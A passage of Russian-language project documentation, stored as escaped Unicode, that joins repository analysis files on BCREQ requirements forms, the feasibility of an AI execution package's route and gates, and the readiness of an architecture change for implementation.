\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432\\n  \u0438\u0441\u0442\u0438\u043d\u044b;\\n- \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0434\u0438\u0438, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435/\u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435\\n  \u0433\u0435\u0439\u0442\u044b;\\n- \u0440\u0435\u0448\u0438\u0442\u044c \u0441\u0443\u0434\u044c\u0431\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 2.3;\\n- \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e NFR \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c FR;\\n- \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u043d\u043d\u0438\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c FR, UC, edge cases \u0438 \u0434\u0438\u0437\u0430\u0439\u043d\u0430;\\n=== docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n\\n# \u042d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u044c \u0432 RG-BCREQ-v1\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n\u0438 7. \u0420\u0430\u0437\u0434\u0435\u043b 3 \u0432\u043e \u0432\u0441\u0435\u0445 \u0442\u0440\u0451\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f; \u043f\u043e\u043b\u044f, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, \u044d\u043a\u0440\u0430\u043d\u044b, \u043c\u0435\u0442\u043e\u0434\u044b, \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n[`execution-package-gigacode-cli`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n\u043c\u043e\u0436\u0435\u0442 **\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c** \u0442\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 14 \u0441\u043b\u043e\u0442\u0430\u043c\u0438, \u043d\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\\n**\u043d\u0430\u0434\u0451\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c** \u0435\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\\n\u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043b\u043e\u0442\u043e\u0432, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438, \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u043b\u0438\\n\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043d\u0430\u0432\u044b\u043a \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0424\u0422 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u043e\u043e\u0449\u0440\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u043f\u0440\u0430\u0432\u0438\u043b UI \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0432\\n\u0440\u0430\u0437\u0434\u0435\u043b \u0424\u0422. \u042d\u0442\u043e \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u044d\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0438 \u0435\u0433\u043e \u0433\u0435\u0439\u0442\u043e\u0432.\\n\\n\u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u0442\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0434\u0438\u0430\u043b\u043e\u0433\u0435. `accepted` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043f\u0440\u0438\u0451\u043c\u043a\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u044b, \u043d\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\\n\u043a\u0435\u0439\u0441\u043e\u0432 \u0432 runtime Golden Set: \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0432\u0445\u043e\u0434\u044b, \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0435\\nassertions \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 human gate. \u041e\u0446\u0435\u043d\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e runtime \u043d\u0438\u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a\\n\u0441\u043d\u0438\u043c\u043a\u0443 \u0434\u043e [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604);\\n\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0432\\n[\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\\n\\n\u0412\u0441\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f [issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/601)\\n\u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u0412 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c PDF,\\nJSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u044b, \u0442\u0435\u043a\u0441\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0438\u043b\u0438 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\\n\\n| \u0412\u0445\u043e\u0434 | \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0432 \u0441\u0438\u043d\u0442\u0435\u0437\u0435 |\\n| --- | --- |\\n| `BCREQ-729.pdf`, 10 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043f\u043e\u043b\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0424\u0422; \u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439. |\\n| `BCREQ-765.pdf`, 8 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | 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\u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u043d\u0435 \u0442\u0435\u0440\u044f\u044e\u0442\u0441\u044f.\\n\\n## \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0444\u043e\u0440\u043c\u044b\\n\\n| \u0420\u0430\u0437\u0434\u0435\u043b BCREQ | \u0421\u043c\u044b\u0441\u043b | \u0421\u043b\u043e\u0442\u044b \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 |\\n=== docs/analysis/2026-09-24-architecture-convergence-and-readiness.md\\n\\n# \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b BCREQ \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c Source \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u041c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442\u044c \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c \u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0438 Source \u043f\u0430\u043a\u0435\u0442\u0430.** \u0414\u043b\u044f\\n\u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 BCREQ, \u0440\u043e\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0443\\nWorking \u2192 Release, \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f.\\n\u042d\u0442\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0442\u0435\u043a\u0443\u0449\u0430\u044f Distribution \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 RFC.\\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u043d\u043e\u0432\u044b\u0439 runtime \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u043e\u0432 \u0438 human review.\\n\\n\u041f\u043e\u043b\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00abMANGO-first \u043f\u0440\u0438 \u226580% \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0422\u0417\u00bb \u043f\u043e\u043a\u0430\\n\u043d\u0435\u043b\u044c\u0437\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c: \u043d\u0435\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e versioned \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u0435\u0434\u0438\u043d\u0438\u0446\u044b\\n\u0441\u0447\u0451\u0442\u0430 \u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439. \u0422\u043e\u0447\u043d\u044b\u0439 TM Forum binding \u0442\u043e\u0436\u0435 \u043d\u0435\\n\u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e authoritative snapshot. \u042d\u0442\u0438 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442\\nSource-\u0441\u0445\u0435\u043c\u0443 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 `unresolved` \u0438 `not-applicable` \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f\u043c\u0438 \u0438 \u043d\u0435 \u0434\u0430\u044e\u0442\\n\u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u044b\u0435 ID.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043a \u043d\u0435\u043c\u0443 \u0434\u0438\u0430\u043b\u043e\u0433, [PR #602](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/602),\\n[PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604),\\n[PR #606](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/606),\\n[PR #608](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/608),\\n\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 README, \u0442\u0440\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 RFC, \u0434\u0432\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u043c\u043e\u0434\u0443\u043b\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438,\\n\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, route/skills/schemas Distribution \u0438 \u0442\u0435\u0441\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0441\u0441\u044b\u043b\u043e\u043a \u043f\u0440\u043e\u0448\u043b\u0430 \u043f\u043e Markdown-\u0444\u0430\u0439\u043b\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e runtime\\n\u0432\u0437\u044f\u0442 \u0438\u0437 [route `n0`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml)\\n\u0438 [\u043d\u0430\u0432\u044b\u043a\u0430 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/.gigacode/skills/product-attribution/SKILL.md),\\n\u0430 \u043d\u0435 \u0438\u0437 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u0430 \u043f\u0440\u0435\u0436\u043d\u0435\u0433\u043e \u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430. \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 issue \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439.\\n\\n\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435: \u043f\u0440\u043e\u0441\u0442\u043e\u0439 `n0` \u0441 \u0432\u044b\u0431\u043e\u0440\u043e\u043c BA \u0443\u0436\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u043d\u0435\\n\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c \u0438\u0437 \u0442\u0438\u043f\u0430 \u0440\u0430\u0431\u043e\u0442\u044b; 80-\u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0431\u0435\u0437 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u043e\u0433\u043e\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c; \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 SID Overview \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 capability. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0432\u044b\u0431\u0440\u0430\u043d\u044b \u044f\u0432\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f, \u0434\u0432\u0430 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 industry binding \u0438\\n\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u044b\u0439 \u043f\u043e\u0440\u043e\u0433.\\n\\n## \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u043c \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438\\n\\n| \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a | \u0418\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e | \u0414\u043e\u043c \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 |\\n| --- | --- | --- |\\n| #602: 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, L1\u2013L4, \u0442\u0440\u0438 Golden Form | 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u043e\u0439; L1 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u0443\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c, L2\u2013L4 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0435\u0451. \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0430\u043d\u0430\u043b\u0438\u0437 \u0444\u043e\u0440\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md); \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432 runtime Golden Set \u043f\u043e\u0441\u043b\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0430 \u0438 human gate. |\\n| #602: Product routing | \u0422\u0438\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043e\u0441\u044c: MANGO-\u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430/KB \u2014 MANGO; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0422\u0417 \u2014 \u043e\u0442\u0440\u0430\u0441\u043b\u044c, \u0437\u0430\u0442\u0435\u043c MANGO. \u0412\u0441\u0435 unmatched \u0438 uncertain \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); `P-08` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0422\u0417, \u0430 \u043d\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c BCREQ \u043f\u043e [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md). |\\n| #602: \u041f\u043e\u0440\u043e\u0433 80% | \u0414\u043e versioned \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c. \u041f\u0440\u0438 